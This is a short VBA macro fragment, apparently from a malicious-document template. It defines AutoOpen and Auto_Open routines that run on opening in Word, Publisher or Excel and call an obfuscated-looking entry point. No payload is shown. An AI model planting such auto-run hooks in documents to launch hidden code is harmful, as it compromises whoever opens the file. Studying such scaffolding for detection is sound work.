Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub